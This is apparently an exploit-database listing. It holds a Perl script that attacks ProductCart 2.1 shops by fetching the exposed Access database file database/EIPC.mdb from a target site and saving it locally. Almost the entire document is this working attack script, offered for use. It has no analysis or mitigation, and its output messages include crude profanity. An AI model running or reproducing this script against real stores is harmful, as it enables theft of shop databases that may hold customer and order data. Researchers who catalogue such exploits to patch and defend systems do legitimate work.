ProductCart 2.1 Database Disclosure



EKU-ID: 4891 CVE: OSVDB-ID:
Author: indoushka Published: 2015-06-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/perl -w
#
# ProductCart v2.1 Database Disclosure Exploit 
#
# Author : indoushka
#
# Vondor : http://www.productcart.com/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('ProductCart v2.1 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="database/EIPC.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Fuck you wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/EIPC.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/EIPC.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}